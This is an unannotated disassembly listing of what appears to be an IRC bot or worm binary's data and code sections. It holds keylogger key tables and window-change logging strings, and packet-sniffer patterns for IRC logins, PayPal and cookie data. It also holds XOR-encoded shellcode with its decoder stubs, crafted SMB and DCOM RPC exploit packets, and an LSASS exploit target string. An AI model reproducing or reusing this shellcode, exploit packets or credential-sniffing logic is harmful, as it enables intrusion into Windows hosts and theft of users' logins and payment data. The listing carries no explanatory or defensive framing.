					; DATA XREF: sub_401D82+70o
		dd 2BBBB02h
aErrorSocketF_0	db '  Error: socket() failed, returned: <%d>.',0
		align 10h
		dw 8
		unicode	0, <>,0
aB:					; DATA XREF: sub_4023A7:loc_40248Ao
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_426BA4	dd 38h,	38000000h, 2 dup(0) ; DATA XREF: sub_4023A7+2B6o
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_426BDC	dd 7A026E02h, 201F6D1Fh, 79656B28h, 2E676F6Ch, 1F6C1F70h
					; DATA XREF: sub_4022C6+AEo
		dd 2202967h, 2002BBBBh,	732520h
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4022C6+88o
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_4022C6+4Eo
					; sub_40EE72+2AE5o
		align 4
asc_426C1C:				; DATA XREF: sub_4022C6+2Co
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: sub_4023A7+228o
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4023A7+1E5o
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4023A7+8Fo
		align 4
off_426C68	dd offset off_4274E0	; DATA XREF: sub_402688+29Er
		dd offset off_4274DC
		dd offset off_4274D8
		dd offset aHttp		; "HTTP"
dword_426C78	dd 6F6C2E3Ah, 6E6967h, 3 dup(0)	; DATA XREF: sub_402688+1DEo
dword_426C8C	dd 0			; DATA XREF: sub_402688+297r
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp		db 'HTTP',0             ; DATA XREF: ___:00426C74o
		align 4
off_4274D8	dd offset loc_505441+5	; DATA XREF: ___:00426C70o
off_4274DC	dd offset byte_435249	; DATA XREF: ___:00426C6Co
off_4274E0	dd offset word_544F42	; DATA XREF: ___:off_426C68o
unk_4274E4	db    2			; DATA XREF: sub_402688+2FCo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorRecvFaile	db 'Error: recv() failed, returned: <%d>',0
		align 4
unk_427528	db    2			; DATA XREF: sub_402688+2ABo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aSuspiciousSPac	db 'Suspicious %s packet from: %s:%d - %s.',0
		align 4
aPsniff		db '[PSNIFF]',0         ; DATA XREF: sub_402688+235o
		align 4
unk_427578	db    2			; DATA XREF: sub_402688+186o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorWsaioctlF	db 'Error: WSAIoctl() failed, returned: <%d>.',0
		align 10h
unk_4275C0	db    2			; DATA XREF: sub_402688+103o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorBindFaile	db 'Error: bind() failed, returned: <%d>.',0
		align 4
unk_427604	db    2			; DATA XREF: sub_402688+85o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorSocketF_1	db 'Error: socket() failed, returned: <%d>.',0
dword_427648	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: sub_402DD7+E1o
					; sub_402DD7+21Bo
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_427694	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_402B84+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_4279F8	dd 20h,	0		; DATA XREF: sub_402B84+136o
		dd 20h,	5C005Ch, 0
off_427A0C	dd offset off_43005C	; DATA XREF: sub_402B84+15Do
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		dd 0
dword_427A4C	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_402B84+174o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx:			; DATA XREF: sub_402B84+45o
		unicode	0, <FXNBFXFXNBFXFXFXFX>
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_427B5C	dd 18759Fh		; DATA XREF: sub_402B84+104o
dword_427B60	dd 100139Dh		; DATA XREF: sub_402B84+FBo
asc_427B64:				; DATA XREF: sub_4029E9+1Co
					; sub_402ACC+16o
		unicode	0, <\\>,0
		align 4
off_427B6C	dd offset dword_49005C	; DATA XREF: sub_4029E9+Co
					; sub_402ACC+Bo
		dd offset off_430050
		dd 24h
unk_427B78	db    2			; DATA XREF: sub_402DD7+299o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTransferComple	db '  transfer complete to IP: %s',0
		align 10h
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_402DD7+41o
		align 8
		jmp	short loc_427BDA

; =============== S U B	R O U T	I N E =======================================



sub_427BCA	proc far		; CODE XREF: sub_427BCA:loc_427BDAp
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h

loc_427BD2:				; CODE XREF: sub_427BCA+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_427BD2
		jmp	short loc_427BDF
; ---------------------------------------------------------------------------

loc_427BDA:				; CODE XREF: ___:00427BC8j
		call	near ptr sub_427BCA

loc_427BDF:				; CODE XREF: sub_427BCA+Ej
		jo	short loc_427C43
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_427C61
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]

loc_427C43:				; CODE XREF: sub_427BCA:loc_427BDFj
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------

loc_427C61:				; CODE XREF: sub_427BCA+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_427BCA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------

loc_427D08:				; DATA XREF: sub_403249+156o
					; sub_403249+212o
		jmp	short loc_427D1A

; =============== S U B	R O U T	I N E =======================================



sub_427D0A	proc near		; CODE XREF: sub_427D0A:loc_427D1Ap
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh

loc_427D12:				; CODE XREF: sub_427D0A+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_427D12
		jmp	short loc_427D1F
; ---------------------------------------------------------------------------

loc_427D1A:				; CODE XREF: ___:loc_427D08j
		call	sub_427D0A

loc_427D1F:				; CODE XREF: sub_427D0A+Ej
		jo	short near ptr dword_427C98+1Eh
		cwde
		cdq
		cdq
		retn
sub_427D0A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_427DB8	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_403249+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_427EA0	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: ___:0040370Do
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_427F2C	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00403739o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_427FD8	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00403760o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4280B8	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_403249+8Ao
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_42811C	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_428188	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42822C	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4282AC	dd offset loc_401493+2	; DATA XREF: sub_403249+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_428340	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4283AC	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_428420	dd 0			; DATA XREF: sub_403249+35Fo
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 3	dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 10h
